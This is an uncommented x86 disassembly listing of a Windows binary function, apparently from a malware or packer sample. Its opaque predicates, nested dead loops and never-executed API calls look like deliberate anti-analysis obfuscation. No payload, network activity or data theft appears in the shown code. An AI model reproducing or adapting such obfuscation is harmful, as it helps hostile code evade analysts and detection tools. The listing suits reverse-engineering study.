mov dword [ebp - 0x1d48], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x1e14], eax
push 0xfffffffffffffffd
pop eax
imul eax, eax, 0x8876
shl eax, 3
test eax, eax
je 0x1003e097
mov dword [ebp - 0x14f4], 0xcb2d
mov dword [ebp - 0x1d50], 0xfffffff7
mov dword [ebp - 0x9a4], 8
push 3
lea ecx, [ebp - 0x18b8]
call fcn.10022d19
mov byte [ebp - 4], 0x26
mov dword [ebp - 0x740], 0
jmp 0x1003ddca
mov eax, dword [ebp - 0x740]
inc eax
mov dword [ebp - 0x740], eax
cmp dword [ebp - 0x740], 3
jge 0x1003ddec
push dword [ebp - 0x740]
lea ecx, [ebp - 0x18b8]
call fcn.10022db7
mov dword [eax], 1
jmp 0x1003ddbd
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x96c]
mov dword [ebp - 0x1e54], eax
mov esi, dword [ebp - 0x974]
push 0
lea ecx, [ebp - 0x18b8]
call fcn.10022db7
cmp esi, dword [eax]
jne 0x1003de22
mov dword [ebp - 0x984], 1
jmp 0x1003de29
and dword [ebp - 0x984], 0
mov eax, dword [ebp - 0x97c]
cmp dword [ebp - 0x984], eax
jg 0x1003de43
mov dword [ebp - 0x98c], 1
jmp 0x1003de4a
and dword [ebp - 0x98c], 0
cmp dword [ebp - 0x98c], 0x5184
jne 0x1003de62
mov dword [ebp - 0x994], 1
jmp 0x1003de69
and dword [ebp - 0x994], 0
push 0
lea ecx, [ebp - 0x1af0]
call fcn.10022db7
mov dword [ebp - 0x88c], eax
mov eax, dword [ebp - 0x88c]
mov eax, dword [eax]
mov dword [ebp - 0x17ac], eax
mov eax, dword [ebp - 0x994]
mov dword [ebp - 0x14e8], eax
mov eax, dword [ebp - 0x88c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x88c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x17ac]
cmp eax, dword [ebp - 0x14e8]
jg 0x1003dec1
mov dword [ebp - 0x188c], 1
jmp 0x1003dec8
and dword [ebp - 0x188c], 0
mov eax, dword [ebp - 0x14f4]
mov dword [ebp - 0x1d58], eax
mov esi, dword [ebp - 0x9a4]
add esi, 0x219909d0
push 1
lea ecx, [ebp - 0x18b8]
call fcn.10022db7
imul esi, dword [eax]
push 3
lea ecx, [ebp - 0x1d0c]
call fcn.10022db7
cmp esi, dword [eax]
jle 0x1003df0d
mov dword [ebp - 0x99c], 1
jmp 0x1003df14
and dword [ebp - 0x99c], 0
cmp dword [ebp - 0x99c], 0xffffffff
jg 0x1003df32
cmp dword [ebp - 0x17b4], 0
je 0x1003df32
mov dword [ebp - 0x1500], 1
jmp 0x1003df39
and dword [ebp - 0x1500], 0
mov esi, dword [ebp - 0x9a4]
push 0
lea ecx, [ebp - 0x18b8]
call fcn.10022db7
mov dword [eax], esi
mov byte [ebp - 0x1c1], 0
movzx eax, byte [ebp - 0x1c1]
test eax, eax
je 0x1003e083
mov dword [ebp - 0x9ac], 0x1183
mov dword [ebp - 0x150c], 0x1000b664
cmp dword [ebp - 0x9ac], 0x125a
jle 0x1003e065
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
and dword [ebp - 0x5a0], 0
jmp 0x1003dfa6
mov eax, dword [ebp - 0x5a0]
inc eax
mov dword [ebp - 0x5a0], eax
cmp dword [ebp - 0x5a0], 0x56c
jge 0x1003e065
and dword [ebp - 0x598], 0
jmp 0x1003dfcc
mov eax, dword [ebp - 0x598]
inc eax
mov dword [ebp - 0x598], eax
cmp dword [ebp - 0x598], 0x40f5
jge 0x1003e060
and dword [ebp - 0x6b8], 0
jmp 0x1003dff2
mov eax, dword [ebp - 0x6b8]
inc eax
mov dword [ebp - 0x6b8], eax
cmp dword [ebp - 0x6b8], 0x20af
jge 0x1003e05b
mov eax, dword [ebp - 0x598]
add eax, dword [ebp - 0x6b8]
xor eax, dword [ebp - 0x5a0]
cdq
mov dword [ebp - 0x15bc], eax
mov dword [ebp - 0x15b8], edx
push dword [ebp - 0x15b8]
push dword [ebp - 0x15bc]
lea ecx, [ebp - 0x216c]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x216c]
call fcn.100229d5
jmp 0x1003dfe5
jmp 0x1003dfbf
jmp 0x1003df99
call dword [sym.imp.USER32.dll_DestroyCaret]
cmp dword [ebp - 0x9ac], 0xfe4
jge 0x1003e083
push dword [ebp - 0x150c]
call fcn.10074e83
pop ecx
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x18b8]
call fcn.10022d9b
jmp 0x1003e1f1
mov dword [ebp - 0x1e1c], 0xf9f6d65d
mov dword [ebp - 0x1d60], 1
mov dword [ebp - 0x9bc], 0xafe2ae0a
mov dword [ebp - 0x788], 0
jmp 0x1003e0ce
mov eax, dword [ebp - 0x788]
inc eax
mov dword [ebp - 0x788], eax
cmp dword [ebp - 0x788], 1
jge 0x1003e0ea
mov eax, dword [ebp - 0x788]
mov dword [ebp + eax*4 - 0x1e74], 0xa8971511
jmp 0x1003e0c1
mov dword [ebp - 0x104], 0
jmp 0x1003e103
mov eax, dword [ebp - 0x104]
dec eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0xfffffff9
jle 0x1003e1f1
mov dword [ebp - 0x1d68], 0xffffffff
mov dword [ebp - 0x1e24], 5
mov dword [ebp - 0x1b78], 9
mov dword [ebp - 0x1b7c], 0xffffffff
mov dword [ebp - 0x1b84], 0x3bdeef3a
mov dword [ebp - 0x1b8c], 0x7ce1bf9d
mov dword [ebp - 0x1a1c], 8
mov dword [ebp - 0x1a18], 8
mov dword [ebp - 0x1a14], 8
mov dword [ebp - 0x1a10], 8
lea ecx, [ebp - 0x88d]
call fcn.10022dc6
push eax
lea eax, [ebp - 0x1a0c]
push eax
lea eax, [ebp - 0x1a1c]
push eax
lea ecx, [ebp - 0x1f2c]
call fcn.10022dc9
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1f1c]
call fcn.10022d75
mov dword [ebp - 0x9b4], 0xfffffffd
mov dword [ebp - 0x1b74], 1
mov dword [ebp - 0x1b9c], 0x1008f658
mov eax, dword [ebp - 0x9b4]
inc eax
mov dword [ebp - 0x9b4], eax
mov eax, dword [ebp - 0x9bc]
dec eax
mov dword [ebp - 0x9bc], eax
lea ecx, [ebp - 0x1f1c]
call fcn.10022d9b
jmp 0x1003e0f6
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x1af0]
call fcn.10022d9b
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x1cf8]
call fcn.10022d9b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1d0c]
call fcn.10022d9b
mov eax, dword [ebp + 8]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x9cc], 0x4f27d270
mov dword [ebp - 0x270], 0xfffffff8
mov dword [ebp - 0x1524], 0x1dbdae4f
mov dword [ebp - 0x9ec], 0
cmp dword [ebp - 0x50], 0
jne 0x1003e26b
cmp dword [ebp - 0x50], 0
jne 0x1003e26b
and dword [ebp - 0x9c4], 0
jmp 0x1003e275
mov dword [ebp - 0x9c4], 1
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x9c4]
jge 0x1003e28c
mov dword [ebp - 0x17bc], 1
jmp 0x1003e293
and dword [ebp - 0x17bc], 0
cmp dword [ebp - 0x50], 0xf145ba13
jb 0x1003e2a8
mov dword [ebp - 0x9d4], 1
jmp 0x1003e2af
and dword [ebp - 0x9d4], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x9cc], eax
mov eax, dword [ebp - 0x9cc]
mov ecx, dword [ebp - 0x9d4]
inc ecx
imul eax, ecx
cmp eax, 0xdcad
jle 0x1003e2db
mov dword [ebp - 0x9dc], 1
jmp 0x1003e2e2
and dword [ebp - 0x9dc], 0
mov eax, dword [ebp - 0x50]
neg eax
sub eax, dword [ebp - 0x9dc]
add eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x50]
je 0x1003e301
mov dword [ebp - 0x9e4], 1
jmp 0x1003e308
and dword [ebp - 0x9e4], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x9e4], eax
jg 0x1003e334
mov byte [ebp - 0x181], 0
movzx eax, byte [ebp - 0x181]
test eax, eax
je 0x1003e32f
push 0
push 0
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
jmp 0x1003e54d
mov dword [ebp - 0x1ba4], 2
mov dword [ebp - 0x1bac], 0x6d8bc0d
mov dword [ebp - 0x1bb4], 0xffffffff
mov eax, dword [ebp - 0x9ec]
dec eax
mov dword [ebp - 0x9ec], eax
mov byte [ebp - 0x1e3], 0
mov dword [ebp - 0x9fc], 0x217c
mov dword [ebp - 0x189c], 0x1000b690
cmp dword [ebp - 0x9fc], 0x2296
jle 0x1003e464
and dword [ebp - 0x5b0], 0
jmp 0x1003e3a0
mov eax, dword [ebp - 0x5b0]
inc eax
mov dword [ebp - 0x5b0], eax
cmp dword [ebp - 0x5b0], 0x7d88
jge 0x1003e464
and dword [ebp - 0x5a8], 0
jmp 0x1003e3c6
mov eax, dword [ebp - 0x5a8]
inc eax
mov dword [ebp - 0x5a8], eax
cmp dword [ebp - 0x5a8], 0xb08
jge 0x1003e45f
and dword [ebp - 0x6c0], 0
jmp 0x1003e3ec
mov eax, dword [ebp - 0x6c0]
inc eax
mov dword [ebp - 0x6c0], eax
cmp dword [ebp - 0x6c0], 0x3b74
jge 0x1003e45a
and dword [ebp - 0x748], 0
jmp 0x1003e40e
mov eax, dword [ebp - 0x748]
inc eax
mov dword [ebp - 0x748], eax
cmp dword [ebp - 0x748], 0x119
jge 0x1003e458
mov eax, dword [ebp - 0x5a8]
imul eax, dword [ebp - 0x6c0]
xor eax, dword [ebp - 0x5b0]
xor eax, dword [ebp - 0x748]
cdq
mov dword [ebp - 0x15c8], eax
mov dword [ebp - 0x15c4], edx
push dword [ebp - 0x15c4]
push dword [ebp - 0x15c8]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x1003e401
jmp 0x1003e3df
jmp 0x1003e3b9
jmp 0x1003e393
movzx eax, byte [ebp - 0x1e3]
test eax, eax
je 0x1003e531
mov dword [ebp - 0x9f4], 0x466a
mov dword [ebp - 0x1518], 0x1000b6c8
cmp dword [ebp - 0x9f4], 0x467d
jle 0x1003e50b
and dword [ebp - 0x5b8], 0
jmp 0x1003e4a9
mov eax, dword [ebp - 0x5b8]
inc eax
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 0x4dd
jge 0x1003e50b
and dword [ebp - 0x6c8], 0
jmp 0x1003e4cb
mov eax, dword [ebp - 0x6c8]
inc eax
mov dword [ebp - 0x6c8], eax
cmp dword [ebp - 0x6c8], 0x6f5e
jge 0x1003e509
mov eax, dword [ebp - 0x5b8]
imul eax, dword [ebp - 0x6c8]
cdq
mov dword [ebp - 0x15d4], eax
mov dword [ebp - 0x15d0], edx
push dword [ebp - 0x15d0]
push dword [ebp - 0x15d4]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x1003e4be
jmp 0x1003e49c
push 0
push 0
call dword [sym.imp.GDI32.dll_SetBkColor]
cmp dword [ebp - 0x9f4], 0x45aa
jge 0x1003e531
mov edx, dword [ebp - 0x1518]
mov ecx, 0x1008fbf8
call fcn.1002574f
cmp dword [ebp - 0x9fc], 0x2059
jge 0x1003e54d
mov edx, dword [ebp - 0x189c]
mov ecx, 0x1008fbf8
call fcn.1002574f
cmp dword [ebp - 0x50], 0
je 0x1003e69f
mov dword [ebp - 0x268], 1
mov dword [ebp - 0x1a44], 0xadbefc71
mov dword [ebp - 0x1a40], 0xadbefc71
mov dword [ebp - 0x1a3c], 0xadbefc71
mov dword [ebp - 0x1a38], 0xadbefc71
lea ecx, [ebp - 0x895]
call fcn.10022dc6
push eax
lea eax, [ebp - 0x1a34]
push eax
lea eax, [ebp - 0x1a44]
push eax
lea ecx, [ebp - 0x1fa4]
call fcn.10022dc9
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1dac]
call fcn.10022d75
mov dword [ebp - 4], 0x27
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x268], eax
jl 0x1003e5dc
mov dword [ebp - 0xa04], 1
jmp 0x1003e5e3
and dword [ebp - 0xa04], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0xa04]
jne 0x1003e603
cmp dword [ebp - 0x1524], 0
je 0x1003e603
mov dword [ebp - 0x17c4], 1
jmp 0x1003e60a
and dword [ebp - 0x17c4], 0
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x1bbc], eax
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x1bc4], eax
mov eax, dword [ebp - 0x268]
cmp dword [ebp - 0x268], eax
jne 0x1003e63c
mov dword [ebp - 0x1530], 1
jmp 0x1003e643
and dword [ebp - 0x1530], 0
push 0xfffffffffffffffd
pop eax
neg eax
jne 0x1003e653
mov eax, 0x6a687e91
test eax, eax
je 0x1003e66f
push 3
lea ecx, [ebp - 0x1dac]
call fcn.10022db7
or dword [eax], 0xffffffff
mov dword [ebp - 0x270], 0xffffffff
jmp 0x1003e68b
mov byte [ebp - 0x183], 0
movzx eax, byte [ebp - 0x183]
test eax, eax
je 0x1003e68b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1dac]
call fcn.10022d9b
jmp 0x1003ea05
mov dword [ebp - 0xa0c], 0x6e9e
mov dword [ebp - 0x153c], 0x1000b728
cmp dword [ebp - 0xa0c], 0x71e0
jle 0x1003e763
and dword [ebp - 0x5c0], 0
jmp 0x1003e6d9
mov eax, dword [ebp - 0x5c0]
inc eax
mov dword [ebp - 0x5c0], eax
cmp dword [ebp - 0x5c0], 0x58c
jge 0x1003e763
and dword [ebp - 0x7c8], 0
jmp 0x1003e6fb
mov eax, dword [ebp - 0x7c8]
inc eax
mov dword [ebp - 0x7c8], eax
cmp dword [ebp - 0x7c8], 0x685e
jge 0x1003e75e
mov eax, dword [ebp - 0x5c0]
sub eax, dword [ebp - 0x7c8]
cdq
mov dword [ebp - 0x15e0], eax
mov dword [ebp - 0x15dc], edx
push dword [ebp - 0x15dc]
push dword [ebp - 0x15e0]
lea ecx, [ebp - 0x1fec]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x18e4]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x1fec]
call fcn.100229d5
jmp 0x1003e6ee
jmp 0x1003e6cc
cmp dword [ebp - 0xa0c], 0x6b59
jge 0x1003e77b
push dword [ebp - 0x153c]
call fcn.10074e83
pop ecx
mov dword [ebp - 0x5c8], 0
jmp 0x1003e794
mov eax, dword [ebp - 0x5c8]
inc eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 2
jge 0x1003e7b0
mov eax, dword [ebp - 0x5c8]
mov dword [ebp + eax*4 - 0x1f3c], 0x26ae69ed
jmp 0x1003e787
mov dword [ebp - 0x270], 1
jmp 0x1003e7c9
mov eax, dword [ebp - 0x270]
dec eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0
jl 0x1003ea05
mov dword [ebp - 0xa14], 0x155c
mov dword [ebp - 0x1548], 0x1000b790
cmp dword [ebp - 0xa14], 0x17cd
jle 0x1003e8e0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
and dword [ebp - 0x750], 0
jmp 0x1003e81e
mov eax, dword [ebp - 0x750]
inc eax
mov dword [ebp - 0x750], eax
cmp dword [ebp - 0x750], 0x757d
jge 0x1003e8e0
and dword [ebp - 0x6d0], 0
jmp 0x1003e844
mov eax, dword [ebp - 0x6d0]
inc eax
mov dword [ebp - 0x6d0], eax
cmp dword [ebp - 0x6d0], 0x271
jge 0x1003e8db
and dword [ebp - 0x5d0], 0
jmp 0x1003e86a
mov eax, dword [ebp - 0x5d0]
inc eax
mov dword [ebp - 0x5d0], eax
cmp dword [ebp - 0x5d0], 0x1b5d
jge 0x1003e8d6
mov eax, dword [ebp - 0x6d0]
cdq
idiv dword [ebp - 0x5d0]
and edx, dword [ebp - 0x750]
mov eax, edx
cdq
mov dword [ebp - 0x15ec], eax
mov dword [ebp - 0x15e8], edx
push dword [ebp - 0x15e8]
push dword [ebp - 0x15ec]
lea ecx, [ebp - 0x2004]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x17cc], eax
mov ecx, dword [ebp - 0x17cc]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x2004]
call fcn.100229d5
jmp 0x1003e85d
jmp 0x1003e837
jmp 0x1003e811
mov byte [ebp - 0x1c9], 0
cmp dword [ebp - 0xa14], 0x14bb
jge 0x1003e8ff
push dword [ebp - 0x1548]
call fcn.10074e83
pop ecx
mov dword [ebp - 0xa1c], 0x78d2
mov dword [ebp - 0x18ac], 0x1000b7d8
cmp dword [ebp - 0xa1c], 0x7b10
jle 0x1003e9cb
and dword [ebp - 0x5e0], 0
jmp 0x1003e939
mov eax, dword [ebp - 0x5e0]
inc eax
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 0x1c3a
jge 0x1003e9cb
and dword [ebp - 0x5d8], 0
jmp 0x1003e95f
mov eax, dword [ebp - 0x5d8]
inc eax
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 0x3382
jge 0x1003e9c6
and dword [ebp - 0x6d8], 0
jmp 0x1003e981
mov eax, dword [ebp - 0x6d8]
inc eax
mov dword [ebp - 0x6d8], eax
cmp dword [ebp - 0x6d8], 0x747d
jge 0x1003e9c4
mov eax, dword [ebp - 0x5d8]
xor eax, dword [ebp - 0x6d8]
or eax, dword [ebp - 0x5e0]
cdq
mov dword [ebp - 0x15f8], eax
mov dword [ebp - 0x15f4], edx
push dword [ebp - 0x15f4]
push dword [ebp - 0x15f8]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x1003e974
jmp 0x1003e952
jmp 0x1003e92c
movzx eax, byte [ebp - 0x1c9]
test eax, eax
je 0x1003e9e4
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
cmp dword [ebp - 0xa1c], 0x768d
jge 0x1003ea00
mov edx, dword [ebp - 0x18ac]
mov ecx, 0x1008fbf8
call fcn.1002574f
jmp 0x1003e7bc
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2b8]
mov edx, dword [ebp - 0x21c]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x110], edx
push 2
lea ecx, [ebp - 0x1b08]
call fcn.10022d19
mov dword [ebp - 4], 0x28
push 1
lea ecx, [ebp - 0x1304]
call fcn.10022d19
mov byte [ebp - 4], 0x29
mov dword [ebp - 0xb4], 0
jmp 0x1003ea5f
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 2
jge 0x1003ea81
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x1b08]
call fcn.10022db7
mov dword [eax], 0x862fd41e
jmp 0x1003ea52
mov dword [ebp - 0xb4], 0
jmp 0x1003ea9a
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 1
jge 0x1003eabc
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x1304]
call fcn.10022db7
mov dword [eax], 0x7a7c2039
jmp 0x1003ea8d
mov dword [ebp - 0xa24], 0x160a
mov dword [ebp - 0x1554], 0x1000b828
cmp dword [ebp - 0xa24], 0x196f
jle 0x1003ebbe
and dword [ebp - 0x6e0], 0
jmp 0x1003eaf6
mov eax, dword [ebp - 0x6e0]
inc eax
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 0x7180
jge 0x1003ebbe
and dword [ebp - 0x790], 0
jmp 0x1003eb1c
mov eax, dword [ebp - 0x790]
inc eax
mov dword [ebp - 0x790], eax
cmp dword [ebp - 0x790], 0x2b88
jge 0x1003ebb9
and dword [ebp - 0x5e8], 0
jmp 0x1003eb42
mov eax, dword [ebp - 0x5e8]
inc eax
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 0x4de9
jge 0x1003ebb4
and dword [ebp - 0x5f0], 0
jmp 0x1003eb64
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 0x7247
jge 0x1003ebb2
mov eax, dword [ebp - 0x790]
cdq
idiv dword [ebp - 0x5e8]
mov eax, dword [ebp - 0x6e0]
mov ecx, edx
sar eax, cl
xor eax, dword [ebp - 0x5f0]
cdq
mov dword [ebp - 0x1604], eax
mov dword [ebp - 0x1600], edx
push dword [ebp - 0x1600]
push dword [ebp - 0x1604]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x1003eb57
jmp 0x1003eb35
jmp 0x1003eb0f
jmp 0x1003eae9
mov byte [ebp - 0x185], 0
cmp dword [ebp - 0xa24], 0x15bb
jge 0x1003ebe1
mov edx, dword [ebp - 0x1554]
mov ecx, 0x1008fbf8
call fcn.1002574f
movzx eax, byte [ebp - 0x185]
test eax, eax
je 0x1003ebfa
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
lea ecx, [ebp - 0x1304]
call fcn.10022db7
and dword [eax], 0
jmp 0x1003ec30
push 0
lea ecx, [ebp - 0x1304]
call fcn.10022db7
mov dword [ebp - 0xa2c], eax
mov eax, dword [ebp - 0xa2c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xa2c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1304]
call fcn.10022db7
cmp dword [eax], 1
jg 0x1003ec8b
mov byte [ebp - 0x1db], 0
movzx eax, byte [ebp - 0x1db]
test eax, eax
je 0x1003ec68
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_TrackPopupMenu]
push 0
lea ecx, [ebp - 0x1304]
call fcn.10022db7
push dword [eax]
lea ecx, [ebp - 0x1b08]
call fcn.10022db7
cmp dword [eax], 0
je 0x1003ec89
jmp 0x1003ec0c
jmp 0x1003ec0c
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x1304]
call fcn.10022d9b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1b08]
call fcn.10022d9b
mov eax, 0xffff
mov word [ebp - 0xa0], ax
mov dword [ebp - 0x328], 0x69fdf99f
mov dword [ebp - 0x1a6c], 6
mov dword [ebp - 0x1a68], 6
mov dword [ebp - 0x1a64], 6
mov dword [ebp - 0x1a60], 6
lea ecx, [ebp - 0x89d]
call fcn.10022dc6
push eax
lea eax, [ebp - 0x1a5c]
push eax
lea eax, [ebp - 0x1a6c]
push eax
lea ecx, [ebp - 0x1fac]
call fcn.10022dc9
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1b20]
call fcn.10022d75
mov dword [ebp - 4], 0x2a
mov dword [ebp - 0xa34], 0xa11015aa
mov dword [ebp - 0x1bcc], 9
mov dword [ebp - 0x328], 0
jmp 0x1003ed50
mov eax, dword [ebp - 0x328]
dec eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0xfffffff8
jle 0x1003edf3
mov dword [ebp - 0x1fc], 0x485bf25c
mov dword [ebp - 0x1fc], 3
jmp 0x1003ed80
mov eax, dword [ebp - 0x1fc]
dec eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0
jl 0x1003ede1
mov dword [ebp - 0x32c], 0xec79cf18
mov dword [ebp - 0x32c], 3
jmp 0x1003edac
mov eax, dword [ebp - 0x32c]
dec eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
jl 0x1003eddf
push dword [ebp - 0x1fc]
lea ecx, [ebp - 0x1b20]
call fcn.10022db7
mov esi, eax
push dword [ebp - 0x1fc]
lea ecx, [ebp - 0x1b20]
call fcn.10022db7
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x1003ed9f
jmp 0x1003ed73
mov eax, dword [ebp - 0xa34]
dec eax
mov dword [ebp - 0xa34], eax
jmp 0x1003ed43
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1b20]
call fcn.10022d9b
or dword [ebp - 0x214], 0xffffffff
mov dword [ebp - 0x1bd4], 0x1008f638
cmp dword [ebp + 0x10], 0
jbe 0x1003f29d
push 1
lea ecx, [ebp - 0x248]
call fcn.10022d19
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0xa54], 0x99643747
mov dword [ebp - 0xa6c], 0xfffffff6
mov dword [ebp - 0x17dc], 0xf620a34
mov dword [ebp - 0x334], 0
jmp 0x1003ee68
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 1
jge 0x1003ee8a
push dword [ebp - 0x334]
lea ecx, [ebp - 0x248]
call fcn.10022db7
mov dword [eax], 0xb40
jmp 0x1003ee5b
mov eax, 0x943c6fe2
test eax, eax
je 0x1003eeb1
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
cmp dword [eax], 0
je 0x1003eeb1
mov dword [ebp - 0x17d4], 1
jmp 0x1003eeb8
and dword [ebp - 0x17d4], 0
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
mov eax, 0xa9b27fa
test eax, eax
jne 0x1003ef10
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
cmp dword [eax], 0
jne 0x1003ef10
and dword [ebp - 0xa3c], 0
jmp 0x1003ef1a
mov dword [ebp - 0xa3c], 1
mov eax, 0x4bf8
sub eax, dword [ebp - 0xa3c]
cmp eax, 0x1c5a
je 0x1003ef38
mov dword [ebp - 0x1560], 1
jmp 0x1003ef3f
and dword [ebp - 0x1560], 0
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
mov esi, eax
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
mov ecx, dword [esi]
cmp ecx, dword [eax]
jl 0x1003ef7a
mov dword [ebp - 0xa44], 1
jmp 0x1003ef81
and dword [ebp - 0xa44], 0
cmp dword [ebp - 0xa44], 1
je 0x1003ef96
mov dword [ebp - 0xa4c], 1
jmp 0x1003ef9d
and dword [ebp - 0xa4c], 0
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
mov ecx, dword [ebp - 0xa4c]
cmp ecx, dword [eax]
jge 0x1003efeb
mov dword [ebp - 0x18ec], 1
mov dword [ebp - 0x156c], 0xab551fa4
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
mov eax, dword [eax]
neg eax
mov dword [ebp - 0x18ec], eax
mov dword [ebp - 0x156c], 0
jmp 0x1003f005
mov byte [ebp - 0x187], 0
movzx eax, byte [ebp - 0x187]
test eax, eax
je 0x1003f005
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
cmp dword [eax], 0
jne 0x1003f0cc
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
cmp dword [eax], 0
jne 0x1003f0cc
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
cmp dword [eax], 0
je 0x1003f070
mov dword [ebp - 0xa54], 0xfffffffa
mov esi, dword [ebp - 0xa54]
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
cmp dword [eax], esi
jle 0x1003f070
mov dword [ebp - 0xa5c], 1
jmp 0x1003f077
and dword [ebp - 0xa5c], 0
push 0
lea ecx, [ebp - 0x248]
call fcn.10022db7
mov ecx, dword [ebp - 0xa5c]
imul ecx, dword [eax]
add ecx, 0x5733
cmp ecx, 0xffff
jae 0x1003f0a7
mov dword [ebp - 0xa64], 1
jmp 0x1003f0ae
and dword [ebp - 0xa64], 0
mov eax, dword [ebp - 0xa64]
mov dword [ebp - 0xa6c], eax
cmp dword [ebp - 0xa6c], 0
jne 0x1003f0cc
and dword [ebp - 0xa74], 0
jmp 0x1003f0d6
mov dword [ebp - 0xa74], 1
imul eax, dword [ebp - 0xa74], 0x3d97
mov dword [ebp - 0x17dc], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.10022d9b
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1003f298
push 2
lea ecx, [ebp - 0x1dbc]
call fcn.10022d19
mov dword [ebp - 4], 0x2c
mov dword [ebp - 0x278], 0x838a1f94
mov dword [ebp - 0xa7c], 0xffffffff
mov dword [ebp - 0x18bc], 9
mov dword [ebp - 0x33c], 0
jmp 0x1003f152
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 2
jge 0x1003f174
push dword [ebp - 0x33c]
lea ecx, [ebp - 0x1dbc]
call fcn.10022db7
mov dword [eax], 2
jmp 0x1003f145
mov dword [ebp - 0x278], 0
jmp 0x1003f18d
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 1
jg 0x1003f25a
mov dword [ebp - 0x280], 1
